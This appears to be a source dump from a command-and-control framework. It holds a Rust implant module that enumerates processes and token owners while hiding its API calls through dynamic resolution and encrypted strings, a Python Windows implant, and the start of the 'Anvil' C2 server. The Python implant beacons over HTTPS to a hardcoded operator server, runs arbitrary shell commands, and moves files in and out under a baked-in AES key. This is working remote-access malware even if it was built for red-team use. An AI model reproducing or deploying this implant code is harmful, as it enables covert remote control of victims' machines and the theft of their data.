288 | ] 289 | 290 | [[package]] 291 | name = "windows_aarch64_gnullvm" 292 | version = "0.42.2" 293 | source = "registry+https://github.com/rust-lang/crates.io-index" 294 | checksum = "597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8" 295 | 296 | [[package]] 297 | name = "windows_aarch64_gnullvm" 298 | version = "0.52.5" 299 | source = "registry+https://github.com/rust-lang/crates.io-index" 300 | checksum = "7088eed71e8b8dda258ecc8bac5fb1153c5cffaf2578fc8ff5d61e23578d3263" 301 | 302 | [[package]] 303 | name = "windows_aarch64_msvc" 304 | version = "0.42.2" 305 | source = "registry+https://github.com/rust-lang/crates.io-index" 306 | checksum = "e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43" 307 | 308 | [[package]] 309 | name = "windows_aarch64_msvc" 310 | version = "0.52.5" 311 | source = "registry+https://github.com/rust-lang/crates.io-index" 312 | checksum = "9985fd1504e250c615ca5f281c3f7a6da76213ebd5ccc9561496568a2752afb6" 313 | 314 | [[package]] 315 | name = "windows_i686_gnu" 316 | version = "0.42.2" 317 | source = "registry+https://github.com/rust-lang/crates.io-index" 318 | checksum = "c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f" 319 | 320 | [[package]] 321 | name = "windows_i686_gnu" 322 | version = "0.52.5" 323 | source = "registry+https://github.com/rust-lang/crates.io-index" 324 | checksum = "88ba073cf16d5372720ec942a8ccbf61626074c6d4dd2e745299726ce8b89670" 325 | 326 | [[package]] 327 | name = "windows_i686_gnullvm" 328 | version = "0.52.5" 329 | source = "registry+https://github.com/rust-lang/crates.io-index" 330 | checksum = "87f4261229030a858f36b459e748ae97545d6f1ec60e5e0d6a3d32e0dc232ee9" 331 | 332 | [[package]] 333 | name = "windows_i686_msvc" 334 | version = "0.42.2" 335 | source = "registry+https://github.com/rust-lang/crates.io-index" 336 | checksum = "44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060" 337 | 338 | [[package]] 339 | name = "windows_i686_msvc" 340 | version = "0.52.5" 341 | source = "registry+https://github.com/rust-lang/crates.io-index" 342 | checksum = "db3c2bf3d13d5b658be73463284eaf12830ac9a26a90c717b7f771dfe97487bf" 343 | 344 | [[package]] 345 | name = "windows_x86_64_gnu" 346 | version = "0.42.2" 347 | source = "registry+https://github.com/rust-lang/crates.io-index" 348 | checksum = "8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36" 349 | 350 | [[package]] 351 | name = "windows_x86_64_gnu" 352 | version = "0.52.5" 353 | source = "registry+https://github.com/rust-lang/crates.io-index" 354 | checksum = "4e4246f76bdeff09eb48875a0fd3e2af6aada79d409d33011886d3e1581517d9" 355 | 356 | [[package]] 357 | name = "windows_x86_64_gnullvm" 358 | version = "0.42.2" 359 | source = "registry+https://github.com/rust-lang/crates.io-index" 360 | checksum = "26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3" 361 | 362 | [[package]] 363 | name = "windows_x86_64_gnullvm" 364 | version = "0.52.5" 365 | source = "registry+https://github.com/rust-lang/crates.io-index" 366 | checksum = "852298e482cd67c356ddd9570386e2862b5673c85bd5f88df9ab6802b334c596" 367 | 368 | [[package]] 369 | name = "windows_x86_64_msvc" 370 | version = "0.42.2" 371 | source = "registry+https://github.com/rust-lang/crates.io-index" 372 | checksum = "9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0" 373 | 374 | [[package]] 375 | name = "windows_x86_64_msvc" 376 | version = "0.52.5" 377 | source = "registry+https://github.com/rust-lang/crates.io-index" 378 | checksum = "bec47e5bfd1bff0eeaf6d8b485cc1074891a197ab4225d504cb7a1ab88b02bf0" 379 | -------------------------------------------------------------------------------- /modules_wip/process_list/src/lib.rs: -------------------------------------------------------------------------------- 1 | use std::ffi::OsStr; 2 | use std::os::windows::ffi::OsStrExt; 3 | use winapi::ctypes::c_void as winapi_c_void; 4 | use winapi::shared::minwindef::{BOOL, DWORD, FARPROC, HMODULE, LPDWORD, MAX_PATH, ULONG}; 5 | use winapi::shared::ntdef::{HANDLE, NTSTATUS, UNICODE_STRING}; 6 | use winapi::shared::ntdef::{LPCWSTR, LPWSTR, PULONG, PVOID, STRING}; 7 | use winapi::um::handleapi::CloseHandle; 8 | use winapi::um::winnt::TOKEN_USER; 9 | 10 | use ntapi::ntldr::{LdrGetDllHandle, LdrGetProcedureAddress}; 11 | use ntapi::ntrtl::{RtlInitUnicodeString, RtlUnicodeStringToAnsiString}; 12 | use winapi::um::winnt::{ 13 | TokenUser, ACCESS_MASK, MAXIMUM_ALLOWED, PSID, PSID_NAME_USE, 14 | TOKEN_INFORMATION_CLASS, 15 | }; 16 | 17 | const STATUS_SUCCESS: NTSTATUS = 0; 18 | 19 | #[macro_use] 20 | extern crate litcrypt; 21 | 22 | use_litcrypt!("ageofmachine"); 23 | 24 | // Function to get a handle to a DLL module 25 | fn ldr_get_dll(dll_name: &str) -> HMODULE { 26 | // Initialize a null pointer to a void type 27 | let mut handle: *mut winapi_c_void = std::ptr::null_mut(); 28 | // Initialize a UNICODE_STRING structure 29 | let mut unicode_string = UNICODE_STRING { 30 | Length: 0, 31 | MaximumLength: 0, 32 | Buffer: std::ptr::null_mut(), 33 | }; 34 | // Convert the DLL name to a wide string (UTF-16) 35 | let dll_name_wide: Vec = OsStr::new(dll_name).encode_wide().chain(Some(0)).collect(); 36 | unsafe { 37 | // Initialize the UNICODE_STRING with the DLL name 38 | RtlInitUnicodeString(&mut unicode_string, dll_name_wide.as_ptr()); 39 | // Get a handle to the DLL 40 | let status = LdrGetDllHandle( 41 | std::ptr::null_mut(), 42 | std::ptr::null_mut(), 43 | &mut unicode_string as *mut UNICODE_STRING, 44 | &mut handle, 45 | ); 46 | // If the function fails or the handle is null, return null 47 | if status != STATUS_SUCCESS || handle.is_null() { 48 | return std::ptr::null_mut(); 49 | } 50 | } 51 | // Return the handle to the DLL 52 | handle as HMODULE 53 | } 54 | 55 | // Function to get a function address from a DLL module 56 | fn ldr_get_fn(dll: HMODULE, fn_name: &str) -> FARPROC { 57 | // Initialize a null pointer to a void type 58 | let mut func: *mut winapi_c_void = std::ptr::null_mut(); 59 | // Initialize an ANSI_STRING structure 60 | let mut ansi_string = STRING { 61 | Length: 0, 62 | MaximumLength: 0, 63 | Buffer: std::ptr::null_mut(), 64 | }; 65 | // Initialize a UNICODE_STRING structure 66 | let mut unicode_string = UNICODE_STRING { 67 | Length: 0, 68 | MaximumLength: 0, 69 | Buffer: std::ptr::null_mut(), 70 | }; 71 | // Convert the function name to a wide string (UTF-16) 72 | let fn_name_wide: Vec = OsStr::new(fn_name).encode_wide().chain(Some(0)).collect(); 73 | unsafe { 74 | // Initialize the UNICODE_STRING with the function name 75 | RtlInitUnicodeString(&mut unicode_string, fn_name_wide.as_ptr()); 76 | // Convert the UNICODE_STRING to an ANSI_STRING 77 | RtlUnicodeStringToAnsiString(&mut ansi_string, &unicode_string, 1); 78 | // Get the address of the function 79 | let status = LdrGetProcedureAddress( 80 | dll as *mut winapi_c_void, 81 | &mut ansi_string as *mut STRING, 82 | 0, 83 | &mut func, 84 | ); 85 | // If the function fails or the function address is null, return null 86 | if status != STATUS_SUCCESS || func.is_null() { 87 | return std::ptr::null_mut(); 88 | } 89 | } 90 | // Return the function address 91 | func as FARPROC 92 | } 93 | 94 | pub fn get_process_list() -> String { 95 | //define a String to return our process list 96 | let mut process_list = String::new(); 97 | 98 | //load ntdll using ldr_get_dll 99 | let ntdll = ldr_get_dll("ntdll.dll"); 100 | let kernel32 = ldr_get_dll("kernel32.dll"); 101 | 102 | let nt_get_next_process: NtGetNextProcess = 103 | unsafe { std::mem::transmute(ldr_get_fn(ntdll, &lc!("NtGetNextProcess"))) }; 104 | //load GetProcessId using ldr_get_fn 105 | let get_process_id: GetProcessId = 106 | unsafe { std::mem::transmute(ldr_get_fn(kernel32, &lc!("GetProcessId"))) }; 107 | //load QueryFullProcessImageNameW using ldr_get_fn 108 | let query_full_process_image_name_w: QueryFullProcessImageNameW = 109 | unsafe { std::mem::transmute(ldr_get_fn(kernel32, &lc!("QueryFullProcessImageNameW"))) }; 110 | //load NtOpenProcessTokenEx using ldr_get_fn 111 | //load NtQueryInformationToken using ldr_get_fn 112 | let nt_open_process_token_ex: NtOpenProcessTokenEx = 113 | unsafe { std::mem::transmute(ldr_get_fn(ntdll, &lc!("NtOpenProcessTokenEx"))) }; 114 | 115 | // Get the address of the LoadLibraryA function from kernel32.dll. 116 | let load_library_a: unsafe extern "system" fn(lpLibFileName: *const i8) -> HMODULE = 117 | unsafe { std::mem::transmute(ldr_get_fn(kernel32, &lc!("LoadLibraryA"))) }; 118 | 119 | // Get the address of the GetProcAddress function from kernel32.dll. 120 | let get_proc_address: unsafe extern "system" fn( 121 | hModule: HMODULE, 122 | lpProcName: *const i8, 123 | ) -> FARPROC = unsafe { std::mem::transmute(ldr_get_fn(kernel32, &lc!("GetProcAddress"))) }; 124 | 125 | //define the function signature for NtGetNextProcess 126 | type NtGetNextProcess = 127 | unsafe extern "system" fn(HANDLE, ACCESS_MASK, u32, u32, *mut HANDLE) -> NTSTATUS; 128 | 129 | type GetProcessId = unsafe extern "system" fn(HANDLE) -> u32; 130 | 131 | type QueryFullProcessImageNameW = 132 | unsafe extern "system" fn(HANDLE, DWORD, *mut u16, *mut DWORD) -> BOOL; 133 | 134 | type NtOpenProcessTokenEx = unsafe extern "system" fn( 135 | //define the function signature for NtOpenProcessTokenEx 136 | HANDLE, 137 | ACCESS_MASK, 138 | ULONG, 139 | *mut HANDLE, 140 | ) -> NTSTATUS; 141 | 142 | // Get the address of the NtQueryInformationToken function from ntdll.dll. 143 | let get_token_information: unsafe extern "system" fn( 144 | HANDLE, 145 | TOKEN_INFORMATION_CLASS, 146 | PVOID, 147 | ULONG, 148 | PULONG, 149 | ) -> NTSTATUS = 150 | unsafe { std::mem::transmute(ldr_get_fn(ntdll, &lc!("NtQueryInformationToken"))) }; 151 | 152 | // Load the advapi32.dll library. 153 | let advapi32 = unsafe { load_library_a("Advapi32.dll\0".as_ptr() as *const i8) }; 154 | if advapi32.is_null() { 155 | return lc!("Failed to load advapi32.dll").into(); 156 | } 157 | 158 | // Get the address of the LookupAccountSidW function from advapi32.dll. 159 | let lookup_account_sid_w_name = "LookupAccountSidW\0".as_ptr() as *const i8; 160 | let lookup_account_sid_w: unsafe extern "system" fn( 161 | LPCWSTR, 162 | PSID, 163 | LPWSTR, 164 | LPDWORD, 165 | LPWSTR, 166 | LPDWORD, 167 | PSID_NAME_USE, 168 | ) -> BOOL = 169 | unsafe { std::mem::transmute(get_proc_address(advapi32, lookup_account_sid_w_name)) }; 170 | 171 | if lookup_account_sid_w as usize == 0 { 172 | return lc!("Failed to get LookupAccountSidW function pointer").into(); 173 | } 174 | 175 | let mut h_process: HANDLE = 0 as _; 176 | 177 | while unsafe { nt_get_next_process(h_process, MAXIMUM_ALLOWED, 0, 0, &mut h_process) } == 0 { 178 | //println!("Process Handle: {:?}", h_process); 179 | 180 | // Get the process ID using GetProcessId 181 | let process_id = unsafe { get_process_id(h_process) }; 182 | 183 | //print the process name and process id like process_name : process_id 184 | //println!("{}", process_id); 185 | 186 | //now call get_module_file_name_ex_w to get the process name 187 | let mut process_name: [u16; MAX_PATH] = [0; MAX_PATH]; 188 | let mut process_name_length = MAX_PATH as DWORD; 189 | 190 | //if pid is 0, then don't call QueryFullProcessImageNameW, 191 | //as it will return error 192 | //otherwise call QueryFullProcessImageNameW 193 | 194 | if process_id != 0 { 195 | let result = unsafe { 196 | query_full_process_image_name_w( 197 | h_process, 198 | 0, 199 | process_name.as_mut_ptr(), 200 | &mut process_name_length, 201 | ) as u32 //cast to u32 202 | }; 203 | 204 | if result != 0 { 205 | // The function succeeded, add the process name and PID to process_list 206 | let process_name_str = 207 | String::from_utf16_lossy(&process_name[..process_name_length as usize]); 208 | let process_name = process_name_str.trim_matches(char::from(0)); 209 | 210 | // Get just the executable name from the full path 211 | let file_name = std::path::Path::new(&process_name); 212 | //copnvert the file_name to a string 213 | let file_name = file_name.file_name().unwrap().to_str().unwrap(); 214 | 215 | //use NtOpenProcessTokenEx to get tokens and NtQueryInformationToken to get user name 216 | 217 | // Open a handle to the access token 218 | let mut token: HANDLE = std::ptr::null_mut(); 219 | let status = 220 | unsafe { nt_open_process_token_ex(h_process, MAXIMUM_ALLOWED, 0, &mut token) }; 221 | /*if status != 0x00000000 { 222 | return "NtOpenProcessToken failed".into(); 223 | }*/ 224 | //if NtOpenProcessTokenEx fails, go back to the beginning of the loop 225 | if status != 0x00000000 { 226 | continue; 227 | } 228 | // Initialize the length of the return value to 0. 229 | let mut return_length = 0; 230 | 231 | // First call to GetTokenInformation to get the required buffer size. 232 | if unsafe { 233 | get_token_information( 234 | token, 235 | TokenUser, 236 | std::ptr::null_mut(), 237 | 0, 238 | &mut return_length, 239 | ) 240 | } == 0 241 | { 242 | return lc!("First GetTokenInformation failed.").into(); 243 | } 244 | 245 | // Create a buffer of the required size. 246 | let mut token_user_buffer = vec![0u8; return_length as usize]; 247 | 248 | // Second call to GetTokenInformation to get the TOKEN_USER. 249 | if unsafe { get_token_information( 250 | token, 251 | TokenUser, 252 | token_user_buffer.as_mut_ptr() as *mut winapi_c_void, 253 | return_length, 254 | &mut return_length, 255 | )} != 0 256 | { 257 | return lc!("Second GetTokenInformation failed.").into(); 258 | } 259 | 260 | // Get the SID (Security Identifier) of the user associated with the token. 261 | let token_user = token_user_buffer.as_ptr() as *mut TOKEN_USER; 262 | let user_sid = unsafe { (*token_user).User.Sid }; 263 | 264 | // Initialize buffers to hold the name and domain of the user. 265 | let mut name = [0u16; 256]; 266 | let mut name_len = 256; 267 | let mut domain = [0u16; 256]; 268 | let mut domain_len = 256; 269 | let mut sid_name_use = 0; 270 | 271 | // Call LookupAccountSidW to get the name and domain of the user. 272 | if unsafe { 273 | lookup_account_sid_w( 274 | std::ptr::null(), 275 | user_sid as PSID, 276 | name.as_mut_ptr(), 277 | &mut name_len, 278 | domain.as_mut_ptr(), 279 | &mut domain_len, 280 | &mut sid_name_use, 281 | ) 282 | } == 0 283 | { 284 | return lc!("LookupAccountSidW failed").into(); 285 | } 286 | 287 | // Convert the name from UTF-16 to a Rust String. 288 | let username = String::from_utf16_lossy(&name[..name_len as usize]); 289 | 290 | process_list.push_str(&format!("{} : {} : {}", username, process_id, file_name)); 291 | process_list.push('\n'); 292 | } 293 | } 294 | } 295 | 296 | // Close the process handle 297 | unsafe { 298 | CloseHandle(h_process); 299 | } 300 | 301 | //return the process_list 302 | process_list 303 | } 304 | -------------------------------------------------------------------------------- /imps/experimental_win/win2.py: -------------------------------------------------------------------------------- 1 | import os 2 | import socket 3 | import platform 4 | import subprocess 5 | import datetime 6 | import base64 7 | import json 8 | import requests 9 | import threading 10 | import time 11 | import warnings 12 | from urllib3.exceptions import InsecureRequestWarning 13 | from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes 14 | from cryptography.hazmat.backends import default_backend 15 | import uuid 16 | import getpass 17 | import psutil 18 | 19 | # Suppress InsecureRequestWarning 20 | warnings.simplefilter('ignore', InsecureRequestWarning) 21 | 22 | # Configuration Variables 23 | # change this to the ip of the server 24 | SERVER = '192.168.1.19' 25 | PORT = '443' 26 | JITTER = 50 27 | SLEEP = 2 28 | # change this to your aes key, which is printed by the server on startup 29 | AES_KEY = 'xalxACRIZkmDkMYu-BB0ec49-Qzj7aByCHaEtgm1jwI' # Updated AES key from the user 30 | # adversary is a baked in session id that the server will use to identify the implant 31 | # make sure you uncomment the code in server that adds this session id to the database 32 | SESSION = 'adversary' 33 | 34 | class ImpInfo: 35 | def __init__(self, session, ip, username, domain, os_version, imp_pid, process_name, sleep): 36 | self.session = session 37 | self.ip = ip 38 | self.username = username 39 | self.domain = domain 40 | self.os = os_version 41 | self.imp_pid = imp_pid 42 | self.process_name = process_name 43 | self.sleep = sleep 44 | 45 | class OutputData: 46 | def __init__(self, session, task_name, output): 47 | self.session = session 48 | self.task_name = task_name 49 | self.output = output 50 | 51 | class SleepTime: 52 | def __init__(self, sleep): 53 | self.sleep = sleep 54 | 55 | def encode(data: bytes) -> str: 56 | return base64.urlsafe_b64encode(data).decode('utf-8').rstrip('=') 57 | 58 | def decode(data: str) -> bytes: 59 | padding = '=' * (-len(data) % 4) 60 | return base64.urlsafe_b64decode(data + padding) 61 | 62 | def get_external_ip() -> str: 63 | try: 64 | response = requests.get("https://api.ipify.org", timeout=5) 65 | if response.status_code == 200: 66 | return response.text.strip() 67 | except Exception as e: 68 | print(f"Error getting external IP: {e}") 69 | return "Unknown" 70 | 71 | def get_username() -> str: 72 | try: 73 | username = getpass.getuser() 74 | hostname = socket.gethostname() 75 | return f"{hostname}\\{username}" 76 | except Exception as e: 77 | print(f"Error getting username: {e}") 78 | return "Unknown\\Unknown" 79 | 80 | def get_domain() -> str: 81 | try: 82 | domain = os.environ.get('USERDOMAIN', 'Unknown') 83 | return domain 84 | except Exception as e: 85 | print(f"Error getting domain: {e}") 86 | return "Unknown" 87 | 88 | def get_os_version() -> str: 89 | try: 90 | return platform.platform() 91 | except Exception as e: 92 | print(f"Error getting OS version: {e}") 93 | return "Unknown" 94 | 95 | def get_pid() -> str: 96 | try: 97 | return str(os.getpid()) 98 | except Exception as e: 99 | print(f"Error getting PID: {e}") 100 | return "Unknown" 101 | 102 | def get_process_name() -> str: 103 | try: 104 | return psutil.Process(os.getpid()).name() 105 | except Exception as e: 106 | print(f"Error getting process name: {e}") 107 | return "Unknown" 108 | 109 | def read_and_encode(args: list) -> str: 110 | try: 111 | file_path = args[1] if len(args) > 1 else "" 112 | with open(file_path, 'rb') as f: 113 | content = f.read() 114 | encoded_content = encode(content) 115 | print(f"Encoded content from {file_path}") 116 | return encoded_content 117 | except Exception as e: 118 | error_msg = f"Error in read_and_encode: {str(e)}" 119 | print(error_msg) 120 | return error_msg 121 | 122 | def read_and_decode(args: list) -> str: 123 | try: 124 | file_path = args[1] if len(args) > 1 else "" 125 | encoded_content = args[2] if len(args) > 2 else "" 126 | decoded_content = decode(encoded_content) 127 | with open(file_path, 'wb') as f: 128 | f.write(decoded_content) 129 | print(f"Decoded and wrote content to {file_path}") 130 | return "File written successfully" 131 | except Exception as e: 132 | error_msg = f"Error in read_and_decode: {str(e)}" 133 | print(error_msg) 134 | return error_msg 135 | 136 | def execute_command(command: str) -> str: 137 | try: 138 | print(f"Executing command: {command}") 139 | result = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT, text=True) 140 | print(f"Command output: {result}") 141 | return result 142 | except subprocess.CalledProcessError as e: 143 | error_output = e.output 144 | print(f"Command execution failed: {error_output}") 145 | return error_output 146 | except Exception as e: 147 | error_msg = f"Error executing command '{command}': {str(e)}" 148 | print(error_msg) 149 | return error_msg 150 | 151 | def run_tasks(tasks: str) -> str: 152 | output = "" 153 | print(f"Received tasks: {tasks}") 154 | for task in tasks.split(','): 155 | args = task.strip().split(' ') 156 | if not args: 157 | continue 158 | cmd = args[0].lower() 159 | print(f"Running task: {cmd}") 160 | if cmd == "whoami": 161 | task_output = execute_command("whoami") 162 | output += task_output 163 | elif cmd == "cd": 164 | directory = args[1] if len(args) > 1 else "" 165 | try: 166 | os.chdir(directory) 167 | msg = f"Changed directory to: {directory}\n" 168 | print(msg) 169 | output += msg 170 | except Exception as e: 171 | error_msg = f"Could not change directory: {str(e)}\n" 172 | print(error_msg) 173 | output += error_msg 174 | elif cmd == "pwd": 175 | current_dir = os.getcwd() 176 | msg = f"Current directory: {current_dir}\n" 177 | print(msg) 178 | output += msg 179 | elif cmd == "dir": 180 | directory = args[1] if len(args) > 1 else "." 181 | task_output = execute_command(f"dir {directory}") 182 | output += task_output 183 | elif cmd == "typefile": 184 | file_path = args[1] if len(args) > 1 else "" 185 | try: 186 | with open(file_path, 'r') as f: 187 | file_content = f.read() 188 | print(f"Content of {file_path}:\n{file_content}") 189 | output += file_content 190 | except Exception as e: 191 | error_msg = f"Could not read file: {str(e)}\n" 192 | print(error_msg) 193 | output += error_msg 194 | elif cmd == "getfile": 195 | encoded = read_and_encode(args) 196 | output += encoded + "\n" 197 | elif cmd == "sendfile": 198 | decode_msg = read_and_decode(args) 199 | output += decode_msg + "\n" 200 | elif cmd in ["sh", "shell"]: 201 | command = ' '.join(args[1:]) if len(args) > 1 else "" 202 | task_output = execute_command(command) 203 | output += task_output 204 | elif cmd == "kill": 205 | msg = "Killing the implant\n" 206 | print(msg) 207 | output += msg 208 | os._exit(0) 209 | else: 210 | unknown_msg = f"Unknown task: {task}\n" 211 | print(unknown_msg) 212 | output += unknown_msg 213 | return output 214 | 215 | def encrypt_data(aes_key: bytes, data: str) -> str: 216 | try: 217 | iv = bytes([0]*16) 218 | cipher = Cipher(algorithms.AES(aes_key), modes.CBC(iv), backend=default_backend()) 219 | encryptor = cipher.encryptor() 220 | pad_length = 16 - (len(data.encode()) % 16) 221 | padded_data = data.encode() + bytes([pad_length]*pad_length) 222 | encrypted = encryptor.update(padded_data) + encryptor.finalize() 223 | encoded_encrypted = encode(encrypted) 224 | print(f"Encrypted data: {encoded_encrypted}") 225 | return encoded_encrypted 226 | except Exception as e: 227 | error_msg = f"Error in encrypt_data: {str(e)}" 228 | print(error_msg) 229 | return "" 230 | 231 | def decrypt_data(aes_key: bytes, data: str) -> str: 232 | try: 233 | iv = bytes([0]*16) 234 | cipher = Cipher(algorithms.AES(aes_key), modes.CBC(iv), backend=default_backend()) 235 | decryptor = cipher.decryptor() 236 | decrypted = decryptor.update(decode(data)) + decryptor.finalize() 237 | pad_length = decrypted[-1] 238 | decrypted_data = decrypted[:-pad_length].decode() 239 | print(f"Decrypted data: {decrypted_data}") 240 | return decrypted_data 241 | except Exception as e: 242 | error_msg = f"Error in decrypt_data: {str(e)}" 243 | print(error_msg) 244 | return "" 245 | 246 | def send_request(imp_info: ImpInfo): 247 | while True: 248 | try: 249 | server = SERVER 250 | port = PORT 251 | jitter = JITTER 252 | sleep_time = SLEEP 253 | aes_key_encoded = AES_KEY 254 | # Decode AES_KEY from base64 255 | aes_key = decode(aes_key_encoded) if aes_key_encoded else b'0'*32 256 | 257 | checkin_url = f"https://{server}:{port}/js" 258 | index_url = f"https://{server}:{port}/index" 259 | return_out_url = f"https://{server}:{port}/return_out" 260 | 261 | serialized_data = json.dumps(imp_info.__dict__) 262 | encrypted_data = encrypt_data(aes_key, serialized_data) 263 | 264 | headers = { 265 | "X-Unique-Identifier": imp_info.session, 266 | "Content-Type": "text/plain" 267 | } 268 | 269 | print(f"Sending checkin to {checkin_url} with session {imp_info.session}") 270 | response = requests.post(checkin_url, data=encrypted_data, headers=headers, verify=False, timeout=10) 271 | print(f"Checkin response status: {response.status_code}") 272 | 273 | if response.ok: 274 | imp_token = response.text.strip('"') 275 | print(f"Received session token: {imp_token}") 276 | if not imp_token: 277 | print("No token received, sleeping...") 278 | time.sleep(sleep_time) 279 | continue 280 | 281 | while True: 282 | sleep_payload = SleepTime(sleep=str(sleep_time)) 283 | serialized_sleep = json.dumps(sleep_payload.__dict__) 284 | encrypted_sleep = encrypt_data(aes_key, serialized_sleep) 285 | 286 | headers_index = { 287 | "X-Session": imp_token, 288 | "User-Agent": "Mozilla/5.0", 289 | "Content-Type": "text/plain" 290 | } 291 | 292 | print(f"Sending index request to {index_url} with token {imp_token}") 293 | index_response = requests.post(index_url, data=encrypted_sleep, headers=headers_index, verify=False, timeout=10) 294 | print(f"Index response status: {index_response.status_code}") 295 | 296 | if index_response.ok: 297 | tasks = index_response.text 298 | print(f"Received tasks: {tasks}") 299 | if not tasks: 300 | print("No tasks received, sleeping...") 301 | time.sleep(sleep_time) 302 | continue 303 | try: 304 | tasks_list = json.loads(tasks) 305 | tasks_str = ','.join(tasks_list) 306 | print(f"Parsed tasks: {tasks_str}") 307 | except json.JSONDecodeError as e: 308 | print(f"Error parsing tasks JSON: {e}") 309 | time.sleep(sleep_time) 310 | continue 311 | output = run_tasks(tasks_str) 312 | output_data = OutputData(session=imp_token, task_name=tasks_str, output=output) 313 | serialized_output = json.dumps(output_data.__dict__) 314 | encrypted_output = encrypt_data(aes_key, serialized_output) 315 | 316 | headers_return = { 317 | "X-Session": imp_token, 318 | "Content-Type": "text/plain" 319 | } 320 | 321 | print(f"Sending output to {return_out_url}") 322 | return_response = requests.post(return_out_url, data=encrypted_output, headers=headers_return, verify=False, timeout=10) 323 | print(f"Return response status: {return_response.status_code}") 324 | time.sleep(sleep_time) 325 | else: 326 | print("Index request failed, sleeping...") 327 | time.sleep(sleep_time) 328 | else: 329 | print("Checkin request failed, sleeping...") 330 | time.sleep(sleep_time) 331 | except Exception as e: 332 | print(f"Exception in send_request: {e}") 333 | time.sleep(sleep_time) 334 | 335 | def main(): 336 | session = SESSION 337 | ip = get_external_ip() 338 | username = get_username() 339 | domain = get_domain() 340 | os_version = get_os_version() 341 | imp_pid = get_pid() 342 | process_name = get_process_name() 343 | sleep = str(SLEEP) # Ensure sleep is a string 344 | 345 | imp_info = ImpInfo(session, ip, username, domain, os_version, imp_pid, process_name, sleep) 346 | print(f"Initialized ImpInfo: {imp_info.__dict__}") 347 | send_request(imp_info) 348 | 349 | if __name__ == "__main__": 350 | main() 351 | -------------------------------------------------------------------------------- /Anvil/src/main.rs: -------------------------------------------------------------------------------- 1 | use actix_web::dev::{ServiceRequest, ServiceResponse}; 2 | use actix_web::middleware::Logger; 3 | use actix_web::Error; 4 | use actix_web::{web, web::Data, App, HttpServer}; 5 | use bcrypt::{hash, DEFAULT_COST}; 6 | use clap::Parser; 7 | use env_logger; 8 | use openssl::rand::rand_bytes; 9 | use openssl::ssl::{SslAcceptor, SslFiletype, SslMethod}; 10 | use rusqlite::{params, Connection}; 11 | use std::env; 12 | use std::sync::{Arc, Mutex}; 13 | use tracing::Level; 14 | use tracing::Span; 15 | use tracing_actix_web::{DefaultRootSpanBuilder, RootSpanBuilder}; 16 | mod routes; 17 | use crate::routes::download_file; 18 | use base64::{ 19 | alphabet, 20 | engine::{self}, 21 | Engine as _, 22 | }; 23 | use config::{Config, File}; 24 | use std::fs::File as stdFile; 25 | use std::io; 26 | use std::io::Write; 27 | use std::path::Path; 28 | 29 | //logging stuffs 30 | pub struct CustomLevelRootSpanBuilder; 31 | 32 | impl RootSpanBuilder for CustomLevelRootSpanBuilder { 33 | fn on_request_start(request: &ServiceRequest) -> Span { 34 | let level = if request.path() == "/imps" { 35 | Level::DEBUG 36 | } else { 37 | Level::INFO 38 | }; 39 | tracing_actix_web::root_span!(level = level, request) 40 | } 41 | 42 | fn on_request_end( 43 | span: Span, 44 | outcome: &Result, Error>, 45 | ) { 46 | DefaultRootSpanBuilder::on_request_end(span, outcome); 47 | } 48 | } 49 | //logging 50 | 51 | #[derive(Parser, Debug)] 52 | #[clap(version = "1.0", author = "Anvil")] 53 | struct Args { 54 | #[clap(short, long)] 55 | debug: bool, 56 | } 57 | 58 | //struct for users 59 | #[derive(Debug, serde::Deserialize)] 60 | struct User { 61 | username: String, 62 | password: String, 63 | } 64 | 65 | #[actix_web::main] 66 | async fn main() -> std::io::Result<()> { 67 | std::env::set_var("RUST_LOG", "actix_web=trace,actix_server=trace"); 68 | 69 | env_logger::init(); 70 | 71 | //ignoring warning for not using this for now since we will want it later 72 | //let _args: Args = Args::parse(); 73 | 74 | let mut settings = Config::default(); 75 | settings 76 | .merge(File::with_name("config")) 77 | .expect("Failed to open configuration file"); 78 | 79 | let private_key: String = settings 80 | .get("cert.private_key") 81 | .expect("Failed to get private_key"); 82 | let certificate: String = settings 83 | .get("cert.certificate") 84 | .expect("Failed to get certificate"); 85 | 86 | env::set_var("PRIVATE_KEY", private_key); 87 | env::set_var("CERTIFICATE", certificate); 88 | 89 | //set private key and certificate from environment variables 90 | 91 | let private_key = env::var("PRIVATE_KEY").expect("PRIVATE_KEY must be set"); 92 | let certificate = env::var("CERTIFICATE").expect("CERTIFICATE must be set"); 93 | 94 | let private_key_clone = private_key.clone(); 95 | let certificate_clone = certificate.clone(); 96 | 97 | // Setup keys for encryption 98 | // Setup AES key for encryption 99 | let aes_key_path = "aes_key.bin"; 100 | 101 | let aes_key = if Path::new(aes_key_path).exists() { 102 | // Load existing AES key from file 103 | load_key_from_file(aes_key_path)? 104 | } else { 105 | // Generate new AES key 106 | let aes_key = generate_aes_key()?; 107 | 108 | // Save AES key to file 109 | save_key_to_file(&aes_key, aes_key_path)?; 110 | 111 | aes_key 112 | }; 113 | 114 | const CUSTOM_ENGINE: engine::GeneralPurpose = 115 | engine::GeneralPurpose::new(&alphabet::URL_SAFE, engine::general_purpose::NO_PAD); 116 | 117 | // Set the AES key in an environment variable 118 | let encoded_aes_key = CUSTOM_ENGINE.encode(&aes_key); 119 | std::env::set_var("AES_KEY", encoded_aes_key.clone()); 120 | println!("AES key generated and stored."); 121 | println!("encoded AES key: {}", encoded_aes_key); 122 | 123 | println!("AES key generated and stored."); 124 | 125 | // Create ssl builder 126 | let mut builder_443 = SslAcceptor::mozilla_intermediate(SslMethod::tls()).unwrap(); 127 | builder_443 128 | .set_private_key_file(private_key, SslFiletype::PEM) 129 | .unwrap(); 130 | builder_443.set_certificate_chain_file(certificate).unwrap(); 131 | 132 | let mut builder_8443 = SslAcceptor::mozilla_intermediate(SslMethod::tls()).unwrap(); 133 | builder_8443 134 | .set_private_key_file(private_key_clone, SslFiletype::PEM) 135 | .unwrap(); 136 | builder_8443 137 | .set_certificate_chain_file(certificate_clone) 138 | .unwrap(); 139 | 140 | //init db 141 | //TODO 12/06/23 - add a command that can be sent from conduit TUI clients to wipe the current database. also add a command flag to wipe db on startup? 142 | 143 | let 